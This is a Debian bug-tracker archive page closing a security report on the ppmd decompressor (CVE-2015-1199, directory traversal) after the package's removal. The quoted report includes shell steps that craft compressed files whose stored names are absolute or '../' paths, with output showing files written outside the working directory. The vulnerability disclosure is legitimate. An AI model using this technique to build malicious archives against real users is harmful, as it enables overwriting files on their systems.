[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#775218: marked as done (ppmd: CVE-2015-1199: directory traversal)



Your message dated Tue, 20 Jan 2015 16:30:04 +0000
with message-id <[🔎] E1YDbgq-0003DZ-TM@franck.debian.org>
and subject line Bug#775754: Removed package(s) from unstable
has caused the Debian Bug report #775218,
regarding ppmd: CVE-2015-1199: directory traversal
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner@bugs.debian.org
immediately.)


-- 
775218: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=775218
Debian Bug Tracking System
Contact owner@bugs.debian.org with problems
--- Begin Message ---
Package: ppmd
Version: 10.1-5
Tags: security

ppmd is susceptible to directory traversal vulnerabilities. While decompressing a file, it will happily use absolute and relative paths taken from the input. This can be exploited by a malicious compressed file to write files outside the current directory.

1. Absolute path.

A sample could be prepared in the following way:

$ touch XtmpXabs
$ ppmd e -ftest.pmd XtmpXabs
$ sed -i 's|XtmpXabs|/tmp/abs|g' test.pmd
$ rm XtmpXabs

Then check it works:

$ ls /tmp/abs
ls: cannot access /tmp/abs: No such file or directory

$ ppmd d test.pmd
Fast PPMII compressor for textual data, variant J, Apr 19 2012
/tmp/abs: 5 > 1, 40.00 bpb, used: 0.0MB, speed: 1 KB/sec

$ ls /tmp/abs
/tmp/abs

2. Relative path with "..".

A sample could be prepared in the following way:

$ touch XXXrel
$ ppmd e -ftest.pmd XXXrel
$ sed -i 's|XXXrel|../rel|g' test.pmd
$ rm XXXrel

Then check it works:

$ ls ../rel
ls: cannot access ../rel: No such file or directory

$ ppmd d test.pmd
Fast PPMII compressor for textual data, variant J, Apr 19 2012
../rel: 5 > 1, 40.00 bpb, used: 0.0MB, speed: 1 KB/sec

$ ls ../rel
../rel

--
Alexander Cherepanov

--- End Message ---
--- Begin Message ---
Version: 10.1-5+rm

Dear submitter,

as the package ppmd has just been removed from the Debian archive
unstable we hereby close the associated bug reports.  We are sorry
that we couldn't deal with your issue properly.

For details on the removal, please see https://bugs.debian.org/775754

The version of this package that was in Debian prior to this removal
can still be found using http://snapshot.debian.org/.

This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
ftpmaster@ftp-master.debian.org.

Debian distribution maintenance software
pp.
Scott Kitterman (the ftpmaster behind the curtain)

--- End Message ---

Reply to: